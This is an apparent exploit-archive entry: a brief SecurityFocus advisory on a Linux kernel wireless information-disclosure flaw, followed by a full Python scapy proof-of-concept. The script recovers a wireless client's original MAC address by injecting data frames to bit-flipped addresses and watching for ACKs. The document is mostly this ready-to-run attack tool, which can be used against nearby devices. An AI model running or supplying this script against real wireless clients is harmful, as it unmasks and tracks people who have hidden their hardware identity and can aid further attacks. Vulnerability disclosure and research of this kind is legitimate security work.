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source: https://www.securityfocus.com/bid/63743/info Linux Kernel is prone to an information-disclosure vulnerability. An attacker can exploit this issue to obtain sensitive information like original MAC address; information obtained may aid in other attacks. Note: This BID was previously titled 'Atheros Wireless Drivers MAC Address Information Disclosure Vulnerability'. The title and technical details have been changed to better reflect the underlying component affected. #!/usr/bin/python import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * import random # number of times to inject probe for one bit (combat packet loss) ATTEMPTS_PER_BIT = 6 # time to wait for ACK in seconds SNIFFTIME = 0.3 def randmac(): mac = [0] * 6 for i in xrange(6): mac[i] = random.randint(0, 256) # avoid multicast/broadcast mac mac[0] = mac[0] & 0xFE return ":".join([format(byte, '02x') for byte in mac]) def parsemac(macstr): parts = macstr.replace("-", ":").split(":") if len(parts) != 6: raise ValueError("MAC does not consist of 6 parts (separated by : or -)") return [int(byte, 16) for byte in parts] def is_ack(p): return Dot11 in p and p.type == 1 and p.subtype == 13 def find_fixed_bits(s, mac): # eventually contains the real MAC address orgmac = [0] * 6 # random MAC address, used as sender, to which the target will send an ACK srcmac = randmac() # for all the bits - FIXME: Don't consider H.O. bit of first MAC byte for i in range(6): for bit in range(8): # flip the bit at current position currbit = mac[i] & (1 << bit) mac[i] ^= (1 << bit) # convert modified mac to string strmac = ":".join([format(byte, '02x') for byte in mac]) print "Probing", strmac, "...", replied = False for attempt in range(ATTEMPTS_PER_BIT): # inject data packet to modified MAC address packet = Dot11(type="Data", subtype=4, FCfield="from-DS", addr1=strmac, addr2=srcmac, addr3=strmac) s.send(RadioTap()/packet) # Sniff air for ACK to modified MAC l = sniff(lfilter=lambda p: is_ack(p) and p.addr1 == srcmac, count=1, timeout=SNIFFTIME, opened_socket=s) # We we got an ACK, don't need to try again if len(l) == 1: replied = True break print replied # If client replied, original bit is different from the one currently set, # otherwise it's equal to original bit. if replied: orgmac[i] |= (~currbit) & (1 << bit) else: orgmac[i] |= currbit # flip bit back to original value mac[i] ^= (1 << bit) # Done, return original MAC return orgmac if __name__ == "__main__": if len(sys.argv) != 3: print "Usage:", sys.argv[0], "interface macaddr" quit(1) try: mac = parsemac(sys.argv[2]) conf.iface = sys.argv[1] random.seed() # Open up read/write socket so we don't miss the ACK L2socket = conf.L2socket s = L2socket(type=ETH_P_ALL, iface=conf.iface) # Now find the MAC orgmac = find_fixed_bits(s, mac) s.close() print "\nReal MAC address:", ":".join(format(byte, "02x") for byte in orgmac), "\n" except ValueError, e: print "Invalid MAC address:", e except socket.error, e: print "Error with provided interface:", e |
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